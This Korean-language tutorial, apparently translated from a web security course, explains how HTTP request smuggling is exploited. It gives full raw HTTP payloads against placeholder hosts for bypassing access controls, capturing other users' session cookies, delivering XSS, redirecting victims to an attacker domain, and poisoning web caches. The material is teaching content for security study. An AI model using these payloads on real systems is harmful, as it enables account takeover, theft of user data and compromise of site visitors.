Exploiting HTTP request smuggling vulnerabilities

Using HTTP request smuggling to bypass front-end security controls

일부 애플리케이션에서, front-end 웹 서버는 일부 보안 제어를 구현하는데에 사용되어 개별 요청을 처리 할 수 있는지 여부를 결정한다. 허용된 요청들은 back-end 서버로 포워딩 되는데, front-end 컨트롤을 통과한 것으로 간주된다. 예를들어, 애플리케이션이 접근 통제 제한을 구현하기 위해 front-end 서버를 사용하고 있고, 만약 사용자가 요청한 URL이 접근이 인가된 경우에만 요청을 전달 한다고 가정하자. 그러면 back-end 서버는 추가 확인 없이 모든 요청을 처리한다. 이러한 상황에서 HTTP request smuggling 취약점은 제한된 URL로 요청을 밀수하여 접근 통제를 우회하는데 사용될 수 있다.
현재 사용자가 /home에는 접근이 허가 되지만, /admin 에는 그렇지 않다고 가정하자. 아래 request smuggling 공격으로 이러한 제한을 우회 할 수 있다.

```
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
```

front-end 서버는 2개의 요청이 /home 으로 보이고, 이 요청을 back-end 서버로 포워딩 한다. 그러나 back-end 서버는 /home에 대한 하나의 요청과 /admin에 대한 하나의 요청으로 본다. 요청이 front-end 컨트롤을 통과한 것으로 가정하여 제한된 URL로 접근하게 된다.

Revealing front-end request rewriting

많은 에플리케이션에서, front-end 서버는 일반적으로 몇개의 추가적인 request headers를 추가하여 back-end 서버로 포워딩하기 전에 요청의 일부를 rewriting 한다. 예를 들어 front-end 는 다음을 수행한다.

- TLS 연결을 종료하고 사용된 프로토콜 및 암호를 설명하는 헤더를 추가한다.
- 사용자의 IP 주소를 포함하는 X-Forwared-For 해더를 추가한다.
- 다른 공격에 흥미거리인 민감한 정보를 추가한다.

이러한 상황에서, 밀수된 요청이 front-end 서버에 의해 추가된 헤더가 사라졌다면, back-end 서버는 정상적인 방식으로 요청을 처리하지 않아 밀수된 요청이 의도한 효과를 얻지 못할 수 있다.
front-end 서버가 요청을 rewriting 하는지 정확히 드러내는 간단한 방법이 있다. 이것을 하기 위해 아래의 과정을 수행할 필요가 있다.

- 애플리케이션의 응답에서 요청 파라미터의 값을 반사하는 POST 요청을 찾는다.
- 반사된 파라미터가 message body에 마지막에 나타나기 위해 파라미터를 섞는다.
- Smuggle this request to the back-end server, followed directly by a normal request whose rewritten form you want to reveal.(?)

애플리케이션이 email 파라미터의 값을 반사하는 login 기능을 가지고 있다고 가정하자.

```
POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 28

email=wiener@normal-user.net
```

이 결과는 아래와 같다.

```
<input id="email" value="wiener@normal-user.net" type="text">
```

front-end 서버에 의해 수행되는 rewriting을 드러내기 위한 아래 request smuggling 공격을 사용 할 수 있다.

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=POST /login HTTP/1.1
Host: vulnerable-website.com
...
```

이 요청은 추가적인 해더를 포함하여 front-end 서버에 의해 rewrite 된 것이고, back-end 서버는 밀수된 요청을 처리하고 rewrite 된 두번째 정상적인 요청이 email 파라미터의 값으로 취급된다. 이것은 두번째 요청에서 응답으로 반사된다.

```
<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...
```

최종 요청이 다시 작성되므로 얼마나 오래 걸릴지 알 수 없다. 밀수된 요청에서 content-length 헤더의 값에 따라 back-end 서버가 요청을 얼마나 오랫동안 믿는지 결정된다. 이 값을 너무 짧게 하면 rewrite 된 요청의 일부만 받게 된다. 길이가 너무 길면, 요청이 완료되기를 기다리는 back-end 서버의 시간이 time out 된다. 물론, 해결 방법은 제출된 요청 보다 약간 큰 초기 값을 추측한 다음 점차적으로 값을 증가시켜 더 많은 정보를 검색하는 것이다.

Capturing other users' requests

애플리케이션이 데이터를 저장하고 검색 할 수 있는 기능을 가지고 있다면, HTTP request smuggling 은 다른 사용자의 요청의 내용을 캡쳐하는데 사용될 수 있다. 캡쳐된 내용에는 세션 토큰, 세션 하이재킹 공격, 사용자가 제출한 민감한 정보를 포함한다. 이 공격에 적합한 기능은 댓글, 이메일, 프로필 등이 있다.
공격을 하기 위해, 요청의 마지막에 위치한 데이터를 포함하는 매개 변수를 사용하여 저장 기능에 데이터를 제출하는 요청을 밀수해야 한다. back-end 서버에 의해 처리된 다음 요청은 밀수된 요청 뒤에 붙어 다른 사용자의 결과가 저장된다.

애플리케이션이 댓글을 제출, 저장 후 보여주는 기능을 사용하는 블로그가 있다고 가정하자.

```
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 154
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&comment=My+comment&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net
```

request smuggling 공격을 수행하여 back-end 서버로 데이터 저장 요청을 밀수 할 수 있다.

```
GET / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 324

0

POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=
```

다른 사용자의 요청이 back-end 서버에 처리될때, 밀수된 요청 뒤에 붙어 사용자의 세션과 민감한 데이터를 포함하는 요청 결과가 저장된다. 그런 다음 정상적인 방법으로 저장된 데이터를 검색함으로써 다른 사용자의 요청의 세부적인 것을 볼 수 있다.

```
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
Cookie: session=BOe1lFDosZ9lk7NLUpWcG8mjiwbeNZAO

csrf=SmsWiwIJ07Wg5oqX87FfUVkMThn9VzO0&postId=2&name=Carlos+Montoya&email=carlos%40normal-user.net&website=https%3A%2F%2Fnormal-user.net&comment=GET / HTTP/1.1
Host: vulnerable-website.com
Cookie: session=jJNLJs2RKpbg9EQ7iWrcfzwaTvMw81Rj
```

이 기술의 한 가지 한계는 일반적으로 밀수 된 요청에 적용 가능한 매개 변수 분리 문자까지만 데이터를 컵쳐한다는 것이다. URL로 인코딩된 양식 제출의 경우 이는 & 문자가 된다.

Using HTTP request smuggling to exploit reflected XSS

만약 애플리케이션이 HTTP request smuggling에 취약하고 반사형 XSS를 포함한다면, 다른 사용자의 애플리케이션에 request smuggling 공격을 사용할 수 있다. 이 접근 방식은 다음 두 가지 방법으로 반사형 XSS를 정상적으로 이용하는 것 보다 우수하다.

● 피해자와 상호작용이 필요 없다. 피해자에게 XSS가 포함되어 있는 URL을 뿌리지 않고 그들이 방문할 때 까지 기다릴 필요가 없다. 단지 XSS payload를 포함한 요청을 밀수하여 back-end 서버에서 처리된 다음 사용자의 요청이 발생한다.

● HTTP 요청 헤더와 같이 정상적인 반사형 XSS 공격에서 사소하게 제어 할 수 없는 요청 부분에서 XSS 동작을 악용하는데 사용 할 수 있다.

예를들어, 애플리케이션이 User-agent 헤더에 반사형 XSS 취약점이 있다고 가정하자. 아래처럼 request smuggling 공격을 수행 할 수 있다.

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
```

다음 사용ㅇ자의 요청이 밀수된 요청의 뒤에 붙어 응답으로 반사형 XSS payload를 받게 될 것이다.

Using HTTP request smuggling to turn an on-site redirect into an open redirect

많은 애플리케이션은 한 URL에서 다른 곳으로 on-site 리다이렉션을 수행하고 요청의 Host 헤더의 호스트 이름을 리다이렉트 URL로 바꾼다. 이에 대한 예는 Apache와 IIS 웹 서버가 일반적인데, 이는 요청 URL 끝에 슬래시가 없는 경우 슬래시를 포함하여 동일한 폴더로 리다이렉션 된다.

```
GET /home HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```

이러한 행위는 일반적으로 무해한 것으로 간주되지만, request smuggling 공격으로 다른 사용자가 외부 도메인으로 리다이렉트 되는 익스플로잇을 할 수 있다.

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```

다음 사용자의 요청이 back-end 서버에 처리된 밀수된 요청이 공격자의 웹 사이트로 리다이렉트가 된다.
예를들어,

```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```

여기서 사용자의 요청은 웹 사이트의 페이지에서 가져온 JavaScript 파일에 대한 것이다. 공격자는 자신의 JavaScript 를 응답으로 반환하여 대상 사용자를 완전히 손상 시킬 수 있다.

Using HTTP request smuggling to perform web cache poisoning

이전 공격의 변형으로 HTTP request smuggling을 이용하여 웹 캐시 중독 공격을 수행 할 수 있다. front-end 인프라의 어떤 부분이(일반적으로 성능상의 이유로) 콘텐츠 캐싱을 수행하는 경우, off-site 리다이렉트 응답으로 캐시를 중독 시키는게 가능하다. 이렇게 하면 공격이 지속되어 영향을 받는 URL을 요청하는 모든 사용자에게 영향을 미친다.

아래 공격은 모두 front-end 서버로 보낸다.

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 59
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /static/include.js HTTP/1.1
Host: vulnerable-website.com
```

밀수된 요청은 backe-end 서버에 도달하여 off-site 리다이렉션으로 이전과 같이 응답한다. front-end 서버는 두 번째 요청의 URL이라고 생각되는 것에 대해 이 응답을 캐시한다.

```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```

이 시점부터 다른 사용자가 이 URL을 요청하면 공격자의 웹 사이트로 리다이렉션 된다.

Using HTTP request smuggling to perform web cache deception

또 다른 변형에서 HTTP request smuggling을 활용하여 웹 캐시만을 수행 할 수 있다. 이것은 웹 캐시 중독 공격과 비슷한 방식으로 작동하지만 다른 목적으로 사용된다.
공격자는 사용자의 민감한 값을 리턴하는 요청을 밀수한다. 예를들면 아래와 같다.

```
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X
```

back-end 서버로 포워딩 되는 다음 요청은 세션 쿠키와 다른 헤더를 포함하여 밀수된 요청 뒤에 붙는다.

```
GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...
```

back-end 서버는 정상적인 방식으로 이 요청에 대해 응답을 한다. 요청 URL은 사용자의 민감한 메시지에 대한 것이고 요청은 대상 사용자 세션의 context에서 처리된다. front-end 서버는 두 번째 요청을 믿어 이 응답을 캐시한다.

```
GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...
```

공격자는 정적인 URL로 접속하여 캐시로부터 리턴된 민감한 내용을 받을 수 있다.

여기서 중요한 경고는 공격자가 민감한 콘텐츠가 캐시 될 URL을 알지 못한다는 것이다. 밀수 된 요청이 적용될 때 피해자가 요청한 URL이기 때문이다. 공격자는 캡쳐된 콘텐츠를 검색하기 위해 많은 수의 정적 URL을 가져와야 할 수도 있다.